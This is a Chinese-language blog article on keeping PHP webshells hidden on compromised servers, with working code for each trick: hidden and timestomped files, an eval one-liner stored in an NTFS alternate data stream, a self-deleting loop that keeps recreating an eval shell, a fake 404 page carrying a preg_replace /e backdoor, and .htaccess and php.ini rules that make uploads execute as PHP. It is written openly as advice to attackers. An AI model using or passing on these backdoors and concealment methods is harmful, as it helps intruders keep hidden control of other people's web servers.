PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
最简单的PHP程序--记数器
Oct 09 PHP
php下获取Discuz论坛登录用户名、用户组、用户ID等信息的实现代码
Dec 29 PHP
PHP屏蔽蜘蛛访问代码及常用搜索引擎的HTTP_USER_AGENT
Mar 06 PHP
php实现监听事件
Nov 06 PHP
php对二维数组进行排序的简单实例
Dec 19 PHP
PHP 等比例缩放图片详解及实例代码
Sep 18 PHP
php实现的http请求封装示例
Nov 08 PHP
老生常谈PHP位运算的用途
Mar 12 PHP
一个实用的php验证码类
Jul 06 PHP
php生成二维码不保存服务器还有下载功能的实现代码
Aug 09 PHP
PHP里的$_GET数组介绍
Mar 22 PHP
PHP学习记录之常用的魔术常量详解
Dec 12 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
使用php+Ajax实现唯一校验实现代码[简单应用]
2011/11/29 PHP
php中检查文件或目录是否存在的代码小结
2012/10/22 PHP
php file_get_contents抓取Gzip网页乱码的三种解决方法
2013/11/12 PHP
PHP中__autoload和Smarty冲突的简单解决方法
2016/04/08 PHP
php安装dblib扩展,连接mssql的具体步骤
2017/03/02 PHP
laravel通过创建自定义artisan make命令来新建类文件详解
2017/08/17 PHP
thinkPHP框架实现的无限回复评论功能示例
2018/06/09 PHP
laravel框架模型、视图与控制器简单操作示例
2019/10/10 PHP
phpstorm激活码2020附使用详细教程
2020/09/25 PHP
jQuery 学习入门篇附实例代码
2010/03/16 Javascript
js 立即调用的函数表达式如何写
2014/01/12 Javascript
JavaScript闭包实例讲解
2014/04/22 Javascript
细数JavaScript 一个等号,两个等号,三个等号的区别
2016/10/09 Javascript
Vuejs入门教程之Vue生命周期,数据,手动挂载,指令,过滤器
2017/04/19 Javascript
Angular+Bootstrap+Spring Boot实现分页功能实例代码
2017/07/21 Javascript
webpack搭建vue 项目的步骤
2017/12/27 Javascript
this在vue和小程序中的使用详解
2019/01/28 Javascript
vue-cli 项目打包完成后运行文件路径报错问题
2019/07/19 Javascript
Jquery Datatables的使用详解
2020/01/30 jQuery
vue 封装 Adminlte3组件的实现
2020/03/18 Javascript
python实现图片批量剪切示例
2014/03/25 Python
Python+django实现简单的文件上传
2016/08/17 Python
Python获取指定字符前面的所有字符方法
2018/05/02 Python
pyftplib中文乱码问题解决方案
2020/01/11 Python
django filter过滤器实现显示某个类型指定字段不同值方式
2020/07/16 Python
护士检查书
2014/01/17 职场文书
红头文件任命书范本
2014/06/05 职场文书
班子成员四风问题自我剖析材料
2014/09/29 职场文书
群众路线个人剖析材料
2014/10/07 职场文书
2014年财政局工作总结
2014/12/09 职场文书
2014年团支部年度工作总结
2014/12/24 职场文书
思想政治表现评语
2015/01/04 职场文书
2015年教师节感恩寄语
2015/03/23 职场文书
MySQL8.0.24版本Release Note的一些改进点
2021/04/22 MySQL
css3 实现文字闪烁效果的三种方式示例代码
2021/04/25 HTML / CSS
Python基础之条件语句详解
2021/06/16 Python